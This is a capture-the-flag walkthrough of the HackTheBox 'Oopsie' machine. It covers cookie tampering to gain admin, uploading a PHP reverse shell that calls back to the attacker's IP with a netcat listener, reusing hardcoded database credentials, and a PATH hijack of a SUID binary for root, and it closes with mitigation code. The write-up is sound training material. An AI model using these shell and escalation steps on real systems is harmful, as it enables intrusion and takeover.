HackTheBox — Oopsie Walkthrough

Author: Anlen Jeban
Date: June 2026
Platform: HackTheBox
Difficulty: Easy

---

Overview

Oopsie is a beginner-friendly Linux machine on HackTheBox that walks you through three distinct vulnerability classes in a logical, real-world chain.

The attack path follows this arc:

1. Broken Access Control / IDOR — A guest-level session cookie can be trivially manipulated to gain admin privileges
2. Unrestricted File Upload — The admin portal exposes an upload function with no meaningful file-type filtering
3. SUID Binary + PATH Hijacking — A custom internal tool runs cat without an absolute path

---

1. Port Scanning with Tmap

For reconnaissance I used Tmap, my custom network reconnaissance framework built on top of Nmap.

The scan discovered two open ports:

• Port 22 — OpenSSH 7.6p1
• Port 80 — Apache httpd 2.4.29 (Ubuntu)

---

2. Web Enumeration with Gobuster

Running a directory bruteforce with gobuster quickly surfaces a login portal:

gobuster dir -u http://10.129.42.124 -w /usr/share/wordlists/dirb/common.txt -x php

Key findings from the directory scan:

/cdn-cgi/login/       (Status: 200)
/uploads/             (Status: 301)
/js/                  (Status: 301)
/fonts/               (Status: 301)
/images/              (Status: 301)
/themes/              (Status: 301)

---

3. Login Page — Guest Access

Navigating to the login page, notice the option to "Login as Guest":

This requires no credentials and immediately drops us into a low-privilege session with access to the Repair Management System.

---

4. IDOR: Escalating from Guest to Admin

Open the browser's DevTools → Storage → Cookies and observe that the application stores the user's role and numeric ID client-side:

The cookies show:

Cookie	Value
role	admin
user	34322

The attack is trivially simple:

1. Open DevTools → Storage → Cookies
2. Change the user cookie value from 2233 to 34322
3. Ensure role is set to admin
4. Refresh the page

The top navigation now reveals new menu options including Uploads — inaccessible to the guest role.

---

5. File Upload: Uploading a PHP Reverse Shell

With admin access, navigating to the upload form reveals no meaningful restriction on file type.

We'll use PentestMonkey's PHP reverse shell:

cp /usr/share/webshells/php/php-reverse-shell.php ./reverse.php
nano reverse.php

Edit these two lines inside the file:

$ip   = '10.10.14.77';   // Your HTB VPN/tun0 IP
$port = 1234;             // Listener port

Start a Netcat listener:

nc -lvnp 1234

Now upload reverse.php via the admin upload form:

Trigger the shell:

curl http://10.129.42.28/uploads/reverse.php

---

6. Catching the Shell as www-data

Check your Netcat listener — the shell connects back:

connect to [10.10.14.77] from (UNKNOWN) [10.129.42.28] 35950
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade to a proper pseudo-terminal:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg

---

7. Lateral Movement: Hardcoded Credentials → robert

The db.php file contains hardcoded credentials:

<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

Switch to robert:

su - robert
Password: M3g4C0rpUs3r!

Navigate to robert's home directory and grab the user flag:

robert@oopsie:~$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981

---

8. Privilege Escalation — PATH Hijacking

Robert's membership in the bugtracker group leads to a SUID binary at /usr/bin/bugtracker.

The vulnerability: The binary calls cat using a relative path — not /bin/cat.

Executing the PATH Hijack

Step 1 — Create a malicious cat:

export PATH=/tmp:$PATH
cd /tmp
echo '/bin/sh' > cat
chmod +x cat

Step 2 — Run bugtracker:

bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 2

# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt
af13c07873c3fa16877fbeac

---

9. Machine Solved

Detail	Value
Machine Rank	#88962
Pwn Date	07 Jun 2026
Machine State	Retired
XP Earned	+250

---

Lessons Learned & Mitigation

1. Fix the IDOR (Broken Access Control)

Problem: The application determines the user's role based on client-sent cookies.

Fix:

// BAD: trusting client cookie
$role = $_COOKIE['role'];

// GOOD: look up from server-side session
session_start();
$role = $_SESSION['role'];

2. Sanitize File Uploads

Problem: The upload endpoint accepted a .php file without restriction.

Fix:

$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime  = finfo_file($finfo, $_FILES['file']['tmp_name']);

if (!in_array($mime, $allowed_types)) {
    die("File type not permitted.");
}

3. Harden the SUID Binary (PATH Hijacking)

Problem: The binary called cat using a relative path.

Fix:

// Safe: system("/bin/cat /root/reports/...");
system("cat /root/reports/..."); // Vulnerable

4. Remove Hardcoded Credentials

Problem: Database credentials were embedded in plaintext.

Fix: Store secrets in environment variables or a secrets manager.

---

Summary

Vulnerability	Fix
IDOR	Server-side session validation
File Upload	Whitelist allowed types, store outside webroot
PATH Hijacking	Use absolute paths in SUID binaries
Hardcoded Creds	Environment variables / secrets manager

Oopsie is a clean illustration of how a single weak access control can cascade into full system compromise. None of these bugs required exploit development or advanced techniques — just patient enumeration and a solid understanding of web application fundamentals.